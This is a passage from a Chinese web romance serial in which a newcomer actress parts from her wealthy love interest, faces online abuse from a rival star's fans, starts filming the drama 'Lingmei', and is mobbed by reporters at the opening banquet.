温栩栩望着他,忽然觉得他离自己好远,远得像从未真正靠近过亲吻过。 可是这一切不就是她想要的吗? 温栩栩内心酸涩。 她是被黎云笙送回家的,一路上两人之间都很沉默,没有人主动开口,全都不知道说什么,直到车子开到温栩栩公寓楼下,温栩栩扶着车门下去,打算离开时听到身后黎云笙的声音。 黎云笙哑声开口:“有任何问题,都可以找我。”这话说得像朋友间的寻常承诺,却让她鼻尖蓦地一酸。 温栩栩回头去看他,可此刻却完全看不懂男人眼底藏匿的情绪了。 本来是想问黎云笙和苏婉到底会是什么关系,没想到最后一步一步会变成现在这样。 可他同意放开她了,这算是好事的,对吧。 第1092章 资源咖 黎云笙想这样直接离开吗? 他当然不想离开,不止不想离开,还想留下来,想跟温栩栩有更多接触。 可他不能,他必须离开,不能将她的安危置于自己的欲望之上。 家族的责任、权力的枷锁、深埋的爱,所有的一切压得他几乎窒息。 他喉间泛疼,那疼痛蔓延至胸腔,再渗入四肢,原来放手,是让人感觉到这样的疼痛。 如今,他却要亲手推开她。温栩栩想要的普通生活,他给不了,至少现在给不了。 他离开时温栩栩就趴在窗边望着男人高大却又单薄的身影,心脏在此刻一寸寸的收缩,她眼底藏匿的都是不可抑制的慌意。 但这一切就是她想要的。 她觉得自己应该更清醒一些。 远离黎云笙才能过得更好,不想当玩物就不该依靠黎云笙 可还是会控制不住的去追着看男人的身影。 倏地,男人回头,两人好像在此刻四目相对。 明明没有没有多远的距离,可两个人之间好像就是隔了千万里那样,模模糊糊的甚至看不清彼此眼底的情绪。 黎云笙想留下来,想将她拥进怀中,想用唇封住她倔犟的唇瓣,想告诉她那些在喉间翻滚却不能说出口的情话。 可他不能,他必须离开,家族的责任如毒蛇缠绕着他的脚踝,权力的枷锁压得他喘不过气,而深埋的爱,早已成为最危险的软肋。 喉间的疼痛蔓延至胸腔,再渗入四肢,仿佛被无形的刀刃一寸寸割裂。 他转身的刹那,路灯的光晕将他的影子拉得细长,温栩栩趴在窗边,指尖无意识抠着窗框,指甲掐进掌心却浑然不觉。 她望着他,眼底藏匿着不可抑制的慌意,像是被潮水推搡的浮木,明明知道该抓住岸边的礁石,却仍被浪涌推向未知的深渊。 “但这一切就是她想要的。” 温栩栩在心底反复默念这句话,像一句自我催眠的咒语。 远离黎云笙才能过得更好,不想当玩物就不该依靠他。 她深知这个道理,却仍控制不住自己的目光。 男人的身影在路灯下渐行渐远,她却像被磁铁吸引般,追着那抹影子,直到瞳孔被泪水模糊。 倏地,黎云笙回头,两人的目光在交错的光影中相撞。 明明没有多远的距离,可两个人之间却像隔了千万里。 路灯的光晕在他眼底晕染成琥珀色的漩涡,她却看不清漩涡深处的情绪,他的轮廓在夜色中泛着朦胧的雾,她甚至分不清那是不是真实的他。 温栩栩舔了舔自己干涸的唇瓣,舌尖尝到一丝涩意,像是未流尽的泪,又像是未说出口的悔。 她想说些什么,想问“你真的会像韩城一样把她当朋友吗”,想问“你有没有哪怕一刻想过给我承诺”,可喉咙却像被砂纸磨过,疼痛而哑然。 最终,她只能藏进自己的小公寓,将未言的话锁进胸腔。 躺在床上时,疲惫如潮水淹没她的四肢,可闭上眼,脑中却全是今天与黎云笙的亲密。 他掌心温度残留在她颈侧,他呼吸的灼热拂过耳畔,他吻她时眼底的暗潮汹涌…… 是的,还是会止不住地想到这些。如果真的不在意,就不会在独处时让那些画面如走马灯般循环播放。 如果真的想远离,就不会一直想到这些了。 温栩栩觉得自己是真的很没用,嘴上说着清醒,私下却任由思念蚕食理智。她咬住被角,唇瓣因用力而泛白,仿佛这样能咬碎那些不该存在的渴望。 她蜷缩成团,将脸埋进枕头,却仍挡不住脑海中黎云笙的身影。 她知道自己不该想他,不该在乎他,可心却像被丝线牵动的木偶,不由自主地追随他的影子。 那些未言的爱意,那些挣扎的眼神,在寂静的夜里发酵成酸涩的酒,醉得她眼眶发热,却哭不出来。 明明在乎,却必须装作不在乎,明明渴望靠近,却不得不转身离去。 温栩栩捂住自己的脸,好像这个动作就能捂住自己还在疼痛的伤口一般。 脑海内还是不停的闪过很多画面,不停的想到对方。 温栩栩睡着的这段时间,微博热搜又开始闹起来。 起因是有成唯的粉丝在帝城大学读书,且认出了温栩栩那张脸,认出她跟黎云笙搂搂抱抱亲密无间。 所以马上就发帖说温栩栩又金主,且金主就是黎家板上钉钉的继承人,温栩栩能出演《灵媒》的女主角就是因为攀附上了黎家人。 成唯的粉丝开始组团骂了。 如果温栩栩干干净净她们会不停的泼脏水,如果有可能引起误会,这群人就会群起攻之。 就比如现在,只是几张照片,甚至是拥抱的照片就被那些人愤怒大骂是资源咖,大骂是温栩栩挤走了成唯,这会儿这群人是半点都想不到是秦扬帆发微博吐槽成唯演技不好这事儿才换人的。 这群人好像找到了发泄的点,好像成唯遭遇这一切都是温栩栩,仿佛没有温栩栩,成唯的演技就能特别好一样。 #《灵媒》女主角温栩栩金主# #成唯温栩栩# #资源咖温栩栩# 排名前几的几乎都是温栩栩了,全部都在黑温栩栩,是实打实的黑热搜。 昨天墨澜被骂还有粉丝帮忙说话,可温栩栩是新人,还是十八线新人,都没几个人认识她,所以没多少人帮着说话,主要原因是成唯家粉丝太疯狂了,惹不起,真要开麦肯定要被成唯家的粉丝缠上追着骂的。 没人会为了一个十八线做这么多。 【主贴】标题:爆!《灵媒》女主温栩栩勾搭黎家继承人!资源咖石锤! {姐妹们快来看啊!!!帝城大学的同学扒出了惊天大瓜!那个十八线资源咖温栩栩居然跟黎云笙在校园里搂搂抱抱!照片我放上来了姐妹们!看看这亲密程度,绝对有问题!她不就是靠金主上位才拿到《灵媒》女主吗?成唯那么努力却被换掉,原来是被这种脏东西挤走了!}(配图:模糊的校园路灯下,温栩栩被黎云笙揽腰的照片,角度暧昧) 第1093章 嘲讽 {啊啊啊啊啊啊啊气死我了!温栩栩这个狐狸精!成唯明明演技那么好,却被这种靠男人的资源咖顶替!剧组是不是被黎家施压了? 建议查查这个温栩栩有没有潜规则上位!绝对不干净!} {楼上说得对!资源咖实锤了!之前看《灵媒》官宣我还奇怪呢,温栩栩一个十八线凭什么能压成唯?现在懂了,背后有金主爸爸啊!黎家继承人可不是一般人能攀上的,这女的绝对手段了得!} {姐妹们速去热搜打卡!#资源咖温栩栩# #温栩栩金主# 必须冲上榜首!让所有人都知道她是怎么肮脏上位的!成唯姐姐被换的真相必须曝光!} {她根本就是黎云笙的人!这次《灵媒》估计也是黎少一句话的事儿!资本的力量太可怕了,成唯粉丝真的惨!} {虽然但是……成唯演技这次确实被吐槽挺惨的,秦扬帆导演都发微博吐槽了,换人可能也不全是温栩栩的锅吧?} {你懂什么!成唯只是发挥失常!温栩栩就是靠男人抢角色!滚出去!} {我们绝不能坐以待毙! 1. 全网抵制《灵媒》!让剧组知道换人的代价! 2. 扒温栩栩所有黑历史!她肯定不止勾搭黎少一个! 3. 给《灵媒》官博和导演私信轰炸!要求换回成唯! 姐妹们行动起来!不能让资源咖毁掉我们哥哥的星途!} {支持!温栩栩这种毒瘤不滚出娱乐圈,天理难容!她那张脸就是现代版妲己!建议查查她有没有偷税漏税!资本凭什么只手遮天!} {笑死,某些人十八线糊咖却妄想攀高枝,结果被扒个底朝天!成唯可是科班出身,温栩栩有什么?不就是靠床上功夫吗? 建议剧组把试镜视频放出来,让大家看看她是怎么用金主压人的!} {《灵媒》选角当天,黎云笙亲自去现场,之后导演立刻定了温栩栩! 这还不清楚吗?她就是黎少的金丝雀啊!成唯被换绝对是黎家施压的结果!} {我靠!原来早就勾搭上了!温栩栩这种拜金女太恶心了!成唯那么努力却被这种人践踏!必须让她身败名裂!姐妹们转起来!让黎家也付出代价} {娱乐圈哪有干净的?成唯家粉丝也别太天真,说不定成唯自己也有后台呢?} {你放屁!成唯绝对干净!我们只针对资源咖!} 热搜词条实时滚动: #资源咖温栩栩#(爆) #温栩栩金主黎云笙#(热1) #成唯温栩栩#(热2) #抵制灵媒换女主#(上升中) 热搜词条都闹哄哄的,全都在骂让温栩栩滚出娱乐圈。 其中当然有路人看不过反驳。 {成唯粉丝这么激动做什么?是秦扬帆导演亲口说的成唯演技不好,这跟温栩栩有什么关系?是温栩栩让成唯演技不好的?现在喷温栩栩有什么用?再喷秦扬帆导演也不会让成唯重新入组了!醒醒吧你们!成唯有这个时间不如去找个新剧组,别再贴着温栩栩骂了,秦导的脾气你们是不知道吗?不用就是不用,你们再怎么攻击温栩栩她也不可能让成唯再入组了!] 路人这番言论几乎是热闹了成唯的粉丝,词条全都是在骂的。 被称为粉丝骂到销号的程度。 秦扬帆回去的晚,也算是刚好赶上这场大战了,看到成唯粉丝叽歪那些都要气笑了。 这都还没开始正式拍摄呢,成唯粉丝就按捺不住对温栩栩不停嘲讽了,真拿她是吃素的啊。 秦扬帆又发了微博,谁管你成唯粉丝,她本来赚的也不是这一部分人的钱,爱看不看 ,谁理你们,没你家哥哥还有别家,你成唯这种疯狂粉丝才多少呢。 秦扬帆这次发的微博更清楚明白了,就算是成唯那些思维混乱的粉丝都应该能看明白的程度了。 【秦扬帆】:大家都对我的选角有疑问,那么我就解释下,《灵媒》的女主角是非常美的,我要怎么跟你们解释什么是“非常美”,是那种有时间沉淀经过岁月洗涤身上有那种成熟韵味儿但是脸确实二八年华的美,是那种带着淡淡的冷淡淡的柔和和淡淡的温润的气质感觉,她的相貌是有一种逼人的锐利的迫人的艳丽感觉,像是所有牡丹中开的最大最红最艳的那一朵,你能感觉到她的华贵雍容,但是也能感觉到她身上那股淡淡的柔和,是很矛盾的美感。 【秦扬帆】:剧中的女主角情绪一直都没有多少起伏,总是淡淡的,对任何人都是淡淡的,可就是这种淡淡的感觉其实是很难演出来的,这里的淡不是完全面瘫的意思,而是有情感的,眼底是有神的。女主角是很美的,是已经完全接近于神,可以说就是被神化的一个人物,我就是要这样的人物足够美,她就是在我心里完全美好的一个存在。 【秦扬帆】:对于换掉成唯这件事,我不认为我有什么错,因为成唯从试镜开始其实演技都不够及格线,事实上我当时想的是调教一下也不是不可以,但成唯知道女主角是温栩栩后便要求换掉女主角,原因很简单,因为温栩栩咖位不够,不配跟他一起拍戏。你们要清楚一件事,女主角是最先定下来的,成唯凭什么逼我换掉女主角,更不要说他才是后来者! 【秦扬帆】:就像你们说的,你们觉得温栩栩背后有资本,好的,那么你们认为温栩栩那张脸不值得投资吗?这部剧最贴合的就是温栩栩的女主角角色,可以说这部剧能够开拍也因为投资商为了温栩栩组建的剧组,那么你们告诉我,他们为温栩栩花钱建立剧组拍戏,我也是见过她试镜现场清楚她外貌神态演技都是顶配,所以最先定下她,可以说能有这个组全是因为温栩栩,那么你们告诉我,凭什么换掉她? 【秦扬帆】:成唯不止一次提及要换掉温栩栩,甚至在投资商的面前多次提及其它流量贬低温栩栩,我不只说过一次温栩栩不会走,就算走也是他走,成唯显然是控制不住一次又一次的嘲讽温栩栩打算换人。 第1094章 因祸得福 【秦扬帆】:成唯无非是觉得他自己是流量,所以自己就该跟流量搭戏,可现在社会就变成这样了吗?我拍戏一直都是挑合适的,如果挑选不合适的,我迟早会被骂死,遗臭万年的程度!你们不在乎我是在乎的! 【秦扬帆】:所以还有必要骂温栩栩?成唯粉丝你们能不能安静一些?成唯演技到底怎么样大家都不瞎,成唯颜值是不是你们口中的顶配大家也都不瞎! 成唯长得好不好看大家都有目共睹,编那些谎话实属没有意义。 成唯也就是放到普通人堆里面是帅哥,但放到娱乐圈里面,成唯颜值也只能算做是中等,跟那些真正颜值高的男明星完全没得比。 路人因为秦扬帆这些话终于冒头了。 {支持秦导!终于有人说真话了!成唯粉丝闭眼吹演技,结果每次看他演的戏都出戏到脚趾抠地。温栩栩虽然新人,脸和气质超贴合《灵媒》角色!资本愿意为实力投资不是坏事吧?总比让流量演不合适角色强!} {+1!之前成唯演的那部仙侠剧,全程瞪眼式演技,台词像念经,粉丝还吹“神级表演”?这次被换活该!秦导敢说实话,这才是对观众负责!} {笑死,某些流量粉丝真当观众是瞎子啊!试镜现场你们没看吗?成唯的演技连温栩栩一半都不到,还嫌弃人家咖位低?咖位再低也是靠实力拿角色,成唯有实力吗?} {女主是带有神性的疏离感,温栩栩试镜视频我看过,那种眼神戏绝了!成唯演的是霸道总裁吧?让他演适合自己的角色不好吗?非要硬塞不适合的,粉丝还怪别人?} {虽然只是个很简短的预告片,但就是能看出女主角眼底那种平淡中带着怜悯的感觉,让人只是看着内心都会带着点明显的慌意。感觉好像跟她完全对视了,真的会忍不住的喜欢啊。} {秦扬帆滚啊!你分明就是被温栩栩的金主收买了!成唯演技明明被那么多导演夸过,到你这就变成不及格?黑心导演为了资源咖打压我们哥哥!} {就是!成唯之前哭戏多绝?温栩栩靠男人上位,秦导却闭眼吹她演技,资本的力量真可怕! 建议查查剧组有没有暗箱操作!} {温栩栩有什么资格和成唯搭戏?她不就是个十八线小透明吗?成唯是顶流,合作对象当然得是流量咖!秦导为了捧资源咖毁剧,等着被骂吧!} 成唯的粉丝还在骂骂咧咧,可秦扬帆也不是吃素的,这些年也不是没有粉丝基础,路人对秦扬帆还是很欣赏的。 毕竟圈子里多少人都是秦扬帆带出来的,你说秦扬帆为了资本低头?那其实挺离谱的,因为秦扬帆本人其实是非常厌恶资本的,这样说秦扬帆其实有点侮辱到她了。 路人现在纷纷为了秦扬帆开麦了。 {流量至上导致很多不合适的人占据资源,真正有实力的新人却机会渺茫。秦导敢选温栩栩这种有潜力但非流量的新人,值得敬佩。希望观众能多给新人机会,别被粉丝带节奏!} {太真实了!业内人表示,现在太多项目都是流量强行塞人,剧本改到面目全非,导演根本没法掌控创作。秦导这次能坚持选角,至少说明还有导演在坚持初心!} {说句难听的,成唯演技一直就那样,粉丝闭眼吹太久了。这次被换是好事,让他清醒清醒,别总靠粉丝滤镜混日子了!} {成唯的演技也就只能拍一拍偶像剧了,真的拍点什么其它的,那绝对是要原形毕露的。} {说温栩栩靠资本上位的不想想,资本也不是傻子啊!她要是没点实力,投资商凭什么为她建组?成唯粉丝与其骂别人,不如督促你家哥哥提升演技吧!} {资本投资≠没实力。很多实力派演员也是资本捧出来的,重点在于资本有没有眼光。温栩栩能被选中,说明她确实有被看中的地方,等剧播出见真章!} {成唯这次真的败好感!试镜不过就要求换女主,还当着投资商面贬低合作演员,这不就是耍大牌吗?粉丝还怪别人,真当全世界都得围着他转?} {我记得之前有个爆料,成唯在剧组经常迟到,对群演态度差,还改戏加戏。这次被换说不定是剧组忍不了他了吧?} {成唯的脾气一直就不太好,成唯之前拍戏的时候不是迟到的事情还被爆到微博上了?最后还是成唯的粉丝给他洗白的,但成唯耍大牌是多少人都知道的事实了,也亏得成唯是流量,但凡换个人,谁惯他?早凉了!就这么作下去,就看成唯几时完蛋了} {以前是成唯粉丝,现在脱粉了。他家粉丝太疯魔了,每次出事就闭眼护主,完全不讲道理。这次换人明明是他自己有问题,粉丝却把责任全推温栩栩,真的失望!秦导这里明摆着最先定下的角色就是温栩栩,结果现在被骂的也是温栩栩,太离谱了。} {温栩栩那张脸演《灵媒》真的绝了!清冷感+神秘感,比成唯那种浓颜更适合!导演选角没错!} {秦导说得很清楚,女主先定,成唯后加入。结果成唯粉丝反过来骂女主抢角色?这逻辑堪比数学课睡觉的学生说老师教错了题…} {坐等成唯粉丝去《灵媒》官博闹,看看剧组会不会回应!} {其实吧,与其纠结谁换谁,不如关注剧的质量。要是温栩栩真演得好,成唯粉丝骂也没用;要是演砸了,自然会被观众骂。让作品说话!} {笑死,粉丝还在嘴硬。秦导在圈里口碑这么好,会为了钱毁自己名声?成唯要是真行,导演会换人?} #秦扬帆力挺温栩栩# 登上热搜,网友分成两派激烈辩论,理性讨论与人身攻击并存,理智一些的多是路人,进行人身攻击的就是成唯的粉丝了,见谁喷谁的程度。 《灵媒》官博评论区沦陷,成唯粉丝要求换回男主,温栩栩粉丝呼吁安静看剧,路人则期待作品质量。 不过温栩栩也算是因祸得福了,因为这次的事温栩栩算是小红了一把,起码太多人都知道《灵媒》的女主角叫温栩栩了,只等剧真的出来了。 拍的好了温栩栩就能成为真的流量女星,如果拍砸了,那温栩栩恐怕就会被群嘲。 第1095章 片场 阳光透过窗帘缝隙洒进酒店房间时,温栩栩的生物钟已经准时将她唤醒。 她揉了揉惺忪的睡眼,手指无意识地摩挲着床头柜上那张黎云笙留下的黑卡,冰冷的卡片触感仿佛在提醒她昨夜的真实性,而此刻心尖泛起的刺痛却如细密的针,扎得人呼吸都微微发颤。 简单洗漱后,她套上剧组提前送来的戏服,一件素白的长裙,裙摆上绣着暗金色的符咒纹路,与《灵媒》中女主角唐颖的清冷气质完美贴合。 镜中的自己面容苍白,眼底泛着未褪的红晕,像是被某种隐秘的情绪浸染过。 温栩栩深吸一口气,将长发绾成剧中角色的高髻,试图用忙碌驱散那些不该有的思绪。 抵达剧组时,黎氏团队早已将整个影视基地布置得宛如一座古韵十足的灵媒祠堂。 青石铺就的小径蜿蜒曲折,两侧挂着写满咒文的黄符纸,风掠过时簌簌作响,仿佛真有某种神秘力量蛰伏其间。 工作人员们穿梭其中,搬运道具、调试灯光,一片忙碌景象。 温栩栩踩着晨露未散的石板路,恍惚间竟觉得自己仿佛真的踏入了那个虚构的玄幻世界。 “温老师,这边请!”场务小哥热情地迎上来,引她走向临时搭建的化妆间。 路过几位正在对戏的配角演员时,她礼貌性地颔首微笑,却发现自己连对方的名字都记不真切。 耳边充斥着此起彼伏的“温老师好”“期待合作”的问候声,她却像被隔绝在透明的玻璃罩中,声音遥远而模糊。 这副魂不守舍的模样,落在旁人眼里,倒像是被昨夜那场全网黑的风波击垮了心神。 “栩栩,你是不是还在为热搜的事情难过?”秦扬帆从监视器后探出头时,温栩栩正对着化妆镜发呆,指尖无意识地捏着那张黑卡。 导演摘下眼镜,语气中带着几分长辈般的宽慰,“这种网络暴力我见得多了,成唯那边粉丝疯魔,再加上其他女星也在暗中防爆你,毕竟《灵媒》的女主资源太抢手了。但你放心,黎氏的公关团队已经在处理,等剧开播后,你的演技和颜值自然会征服观众。” 温栩栩被这话猛地拉回现实,唇角勾起一抹苦笑,却又很快掩去:“导演,我不是因为这件事……”她的声音很轻,尾音淹没在化妆间空调的嗡鸣声中。 秦扬帆眉头微皱,显然不解:“那为什么心不在焉?墨澜还没到,但其他角色已经到位,今天要拍你和几位配角的对手戏,可不能带着情绪上场。” 她垂眸凝视掌心那张黑卡,黎云笙清冷的面容在脑海中骤然清晰。 昨夜他俯身吻她时,指尖的温度与此刻的卡片冰凉形成刺痛的对比。 那些缠绵的私语、他眼底罕见的温柔,像一团雾将她裹挟,让她分不清现实与虚幻。 温栩栩深吸一口气,将卡片塞回包中,强迫自己聚焦于眼前的戏服与化妆师递来的发簪:“抱歉导演,我会调整状态。我会全力以赴。” 秦扬帆盯着她略显僵硬的微笑,终究没再追问。 很多都是演员自己的私事,她只是导演,追问太多倒显得不太好了。 秦扬帆转身走向拍摄场地时,温栩栩听见他低声嘟囔:“小姑娘心事重啊……不过演技是真的顶,这次成唯非要换人,真是他这辈子最大的昏招。” 化妆师开始为她上妆,眼线笔勾勒出唐颖清润中带着明显冷淡的眉眼,腮红轻扫营造出一种病弱的美感。 温栩栩凝视镜中那个逐渐陌生的“自己”,恍惚间想起黎云笙曾评价她“很适合演绎带有神性的角色”。 那时他指尖抚过她下颌的触感,此刻竟比化妆刷更清晰。 她猛地攥紧裙摆,暗骂自己恋爱脑的荒唐。 明明该专注工作,却总被那些不该有的情感牵扯心神。 剧组外的喧闹声隐约传来。 成唯粉丝的抗议标语、媒体围堵的闪光灯、甚至其他对家粉丝趁机落井下石的辱骂,都被黎氏的安保团队隔绝在外。 但温栩栩知道,那些声音如跗骨之蛆,迟早会渗入这片暂时的安宁。 她苦笑一声,想起秦扬帆那句“以后追捧你的人里,或许就有现在骂你的”。 可这些虚妄的流量,与她此刻心尖的刺痛相比,竟显得如此微不足道。 “温老师,可以走位了。”副导演的喊声将温栩栩拽回现实。 她踩着符咒纹路的石板路走向拍摄区,几位配角演员早已就位,饰演反派的女演员正用挑衅的目光打量她,饰演灵童的小演员则怯生生地躲在道具师身后。 第一幕是首次揭露反派阴谋的戏份。温栩栩需要表现出那种凛然不可侵犯的神性,同时暗藏一丝被凡人情感牵绊的脆弱。然而当她开口念台词时,声音竟不自觉带上了昨夜与黎云笙低语时的颤音。 NG三次后,秦扬帆的眉头拧成了结:“栩栩,你的眼神太散了!唐颖此刻是带着怒意的,是那种淡淡的怒意,不是迷茫!” 她猛然惊醒,强迫自己回忆剧本中清璃的性格设定:孤傲、坚韧、为守护苍生不惜代价。 温栩栩深吸一口气,再次开拍时,她将思绪中的黎云笙形象替换成反派巫女的邪恶面孔,眼底燃起冰冷的怒火。 当她以符咒击退对方时,手腕的力度精准如刀,连那位经验丰富的反派演员都惊得后退半步。 “卡!过了!”秦扬帆兴奋地拍手,“这才对!那股子劲儿太对了!” 温栩栩垂眸掩去眼底的失落,原来在戏中投入情感时,她竟本能地将私心杂念替换成角色所需的仇恨。 可这份清醒,在下一场需要表现清璃内心挣扎的戏份时,再次被黎云笙的影子击溃。 午休时分,温栩栩躲进休息室啃三明治,手机屏幕不断弹出微博推送。 #温栩栩资源咖实锤# #黎云笙包养新人# 的词条高悬热搜,评论区骂声与零星的支持声交织成一片嘈杂。 第1096章 娱乐圈是修罗场 休息室窗外,成唯粉丝的抗议声透过隔音玻璃变得模糊。 温栩栩突然意识到,自己此刻的迷茫,何尝不是一种“心魔”?唐颖若被私情所困,便不再是那个能斩断妖魔的灵媒。她咬下最后一口三明治,将黑卡从包中取出,最终将它锁进储物柜深处。 “我要再拍一遍那场戏。”她推开休息室的门,对等候的秦扬帆说道。 导演不解其意,但见她眼底重新燃起的坚定,便点头应允。再次站在符咒石板路上时,温栩栩将黎云笙的影子彻底剥离,将那些缠绵与刺痛化作唐颖对邪恶的憎恨。 当她掷出灵符击碎反派巫女的咒阵时,全场掌声骤起。 日落时分,最后一幕拍摄结束。 温栩栩卸下厚重的戏服,走出片场时,发现秦扬帆正站在入口处等她。 导演递来一瓶矿泉水,笑容欣慰:“栩栩,你今天的表现让我震惊,你看着不像第一次拍戏,我有预感,你以后大概会跟墨澜是同等高度的演员。” 她这次说的是演员,不是艺人。 她仰头灌下大半瓶水,喉间的涩意被清凉冲刷。 暮色彻底笼罩影视基地时,剧组临时搭建的宴席场地已被装点得宛如一座灵媒祭坛。 青石地面铺满新采的艾草,蜿蜒的符咒用朱砂绘于石板之上,随风飘动的黄符纸在灯笼映照下泛着诡谲的光。 供桌上摆着三牲祭品与雕花香炉,袅袅檀香与酒香交织,在初秋的凉风中弥散出肃穆而神秘的气息。 秦扬帆身后是神情各异的演员与工作人员。 秦扬帆眉头微蹙,显然对场边密密麻麻的记者镜头感到不满,原计划将开机宴安排在深夜,本是为了避开媒体轰炸,却不想成唯与温栩栩的风波竟将记者们引成了“围猎”之势。 那些扛着摄像机的身影如黑压压的蚁群,将剧组精心布置的结界仿佛都要冲破。 “开机祭,敬天地,祈平安。”秦扬帆朗声念诵,演员们依次上前拈香叩拜,温栩栩跟在队列末尾,素白长裙在火光中泛着莹润的光泽,仿佛不是凡人衣料,而是某种月光凝成的雾。 她垂眸行礼时,耳畔传来记者群中压抑的骚动,那些快门声突然密集如雨,令她指尖微颤。 祭礼毕,宴席终于开席。 圆桌按八卦方位排列,每桌中央摆着刻满咒文的青铜酒樽,菜肴皆是寓意吉祥的素斋,连瓜果都雕成了符咒形状。 秦扬帆端着酒杯巡桌时,不断有工作人员低声议论:“没想到今晚记者能来这么多……” “成唯那边闹得太凶,温老师今天可要受累了。” 秦扬帆灌下一杯烈酒后,面色更沉。 原本她厌恶媒体的窥探,故意将仪式调至深夜,想着记者们熬不住便会散去大半。 可成唯粉丝的抗议、对家资本的推波助澜,竟让这场本应低调的宴会成了焦点。此刻闪光灯与话筒几乎要挤进宴席区,保安团队如人墙般阻拦,却仍挡不住那些尖锐的问题穿透空气而来。 “温栩栩小姐,请问您对成唯粉丝的攻击怎么看?” “网传您靠资本上位,是否有回应?” “与成唯解约后,剧组是否考虑重新启用他?” 问题如利箭射向温栩栩所在的席位。 她坐在主桌末端,身侧是几位配角演员,对面是秦扬帆冷硬的侧脸。 那些质问声让她想起昨夜与黎云笙共处的宁静,此刻却仿佛置身风暴中心,而手中酒杯的温度,出手冰凉。 记者们围上来,等到真正见到温栩栩的那一刻,骚动达到了顶点。 他们中多数未曾目睹她作为星黛儿的走秀风采,此刻却被另一种截然不同的美震慑。 她褪去了红毯上的明艳锋芒,妆面清淡如雾,眉梢勾勒的金色符纹与裙摆暗绣的咒文相映,发髻高绾,几缕碎发随风轻拂颈侧,月光从她身后洒落,在锁骨处凝成一片银色的光斑,宛如神祇降世的印记。 一位资深娱记怔怔望着她,喉头哽住所有准备好的犀利提问。 温栩栩的美不是攻击性的,而是带着某种令人屏息的神性。 清冷、疏离,却又在眼底深处藏着凡人方能感知的脆弱。 当她抬眼看向镜头时,瞳孔中仿佛有星河流转,又似藏着万千未诉的悲悯。 闪光灯在她面容上炸开,她却神色未改,指尖轻抚裙摆上的符咒,恍若触碰的是真正的灵媒法器。 这份静默本身,便是对喧嚣最好的回应。 秦扬帆余光瞥见她这副模样,忽觉心头一震,原以为她会被全网黑击垮,此刻却见她将角色的气质融入了骨血。 那些记者追问的“资本”“咖位”问题,在她这份超然的气场下,竟显得滑稽而渺小。 “温老师,您是否……”终于有位记者冲破保安防线,话筒几乎戳到她面前。 温栩栩未等对方说完,便缓缓起身,裙裾扫过供桌前的香灰,留下一道淡淡的痕迹。 她举起酒杯,琥珀色的液体在杯中晃出涟漪:“敬《灵媒》,敬每一位为这部剧付出的人。”嗓音清泠如泉,不带丝毫情绪波动。举杯饮尽时,喉间微哽,却无人察觉那颤抖是源自祭酒,还是心尖未愈的刺痛。 记者们怔然的望着温栩栩,有人甚至喉结都跟着滚动了下。 记者们不甘心地蜂拥而上,却被秦扬帆带来的助理团队强行隔开。 温栩栩退回席位,指尖无意识摩挲着杯沿,耳畔是秦扬帆的低声叮嘱:“栩栩,墨澜今晚赶不回来,你得稳住场子。那些媒体想挖黑料,你只管把话题往角色和剧组上引。” 她点头应下,却觉这场宴席更像一场无声的战场。 成唯粉丝在基地外的抗议标语依稀可见,媒体镜头贪婪地捕捉她每一丝表情,而席间几位配角演员投来的目光中,不乏带着试探,毕竟《灵媒》的女主角之位,曾有多人虎视眈眈。她忽然轻笑,想起黎云笙曾说“娱乐圈是修罗场”,此刻方知此言不假。 第1097章 初次见面,我是墨澜 宴至中途,酒意渐浓。 有大胆的记者借醉闯到主桌,抛出一枚尖锐炸弹:“温小姐,有传言称黎氏为捧您不惜高价组建剧组,甚至干预成唯解约,您与黎总的关系是否如传闻那般?” 此言一出,满座哗然。 温栩栩正夹菜的筷子顿在半空,汤勺中的汤汁溅落一滴,在桌布上晕开符咒般的痕迹。 她抬眼直视那记者,眼底毫无慌乱:“传闻如风,风过无痕。如果诸位真关心《灵媒》,不如多关注剧组的用心与演员的付出。” 记者们只得到这样的答案,哪里愿意离开? 没看到成唯的粉丝都还在抗议吗? 你长得好看怎么了? 他们又不会因为你长得好看同情你? 该问的该说的还是会问会说。 夜色更深时,宴席终于散场。 记者们仍不肯离去,在基地外架起设备蹲守。 温栩栩躲进化妆间卸妆,镜中那张被神性妆容掩盖的脸逐渐显露,苍白如纸,唯有唇色因烈酒染上绯红。 她摘下头饰时,一缕长发垂落颈侧,与昨夜黎云笙指尖抚过的位置重合。 储物柜的锁咔嗒轻响,那张黑卡又被取出,卡面纹路在月光下泛着幽光,如某种无声的契约。 她倚窗而立,望着远处抗议横幅上“抵制资源咖”的猩红字样,忽觉讽刺。 她如果是资源咖,那成唯呢?不也是? 温栩栩摘下最后一片假睫毛,对着化妆镜确认妆容已卸净,苍白面容在暖黄灯光下更显脆弱。 她抓起一顶黑色鸭舌帽压住长发,匆匆推开化妆间的门,却迎面撞上一堵由镜头与话筒砌成的“人墙”。 记者们如嗅到血腥味的鲨鱼,瞬间从酒店暗处涌出,将她团团围困在台阶前。 闪光灯炸开的白光刺得她眯起眼,话筒尖锐的金属头几乎怼到她唇边,仿佛要将她吞入无数个质问的深渊。 “温老师,成唯粉丝现在还在剧组外抗议,您现在打算怎么回应?”一名娱记将录音笔戳到她下巴,声音裹挟着挑衅。 温栩栩本能地后退半步,高跟鞋踩进台阶缝隙险些踉跄,身后却已无退路。 更多记者如潮水般推搡而来,保安们的阻拦声在人群骚动中显得微弱。 她抬手挡镜头的手被镁光灯灼得发红,鸭舌帽被挤歪,露出几缕散落的卷发,却无人关注这狼狈,所有人的焦点都钉在她对成唯事件的回应上。 “温老师,您真的觉得自己能胜任《灵媒》女主角吗?毕竟成唯才是原定的男主人选!”一名女记者刻意提高音量,周围快门声骤密如暴雨。 另一人紧接而上:“网传黎氏砸重金捧你,甚至强行让成唯解约,您是否该为他的粉丝愤怒负责?”问题如利箭连射,不留喘息间隙。 “温老师,你知道成唯老师的粉丝现在都在攻击你吗?他的粉丝现在都还堵在《灵媒》剧组外大肆辱骂你,温老师有什么想说的吗?会因为这件事难过吗?温老师请回答!” “温老师觉得自己真的能够出演《灵媒》唐颖的角色吗?温老师对自己有信心吗?” “温老师对那群人说成唯才该是男主角这件事怎么想?” “温老师觉得墨澜老师和成唯老师谁更适合男主角的角色?” “温老师你真的是资源咖吗?温老师请回答!” “成唯粉丝说你是靠金主上位的资源咖,温老师对此有何解释?” “墨澜今晚缺席开机宴,是否暗示剧组内部对男主人选有分歧?” “温老师是否担心自己无法压住成唯留下的男主角色,导致剧集口碑崩盘?” “有传言称黎云笙亲自为你改写剧本,请问是否属实?” 人群推挤中,温栩栩的帽檐彻底被掀翻,长发凌乱地垂落。 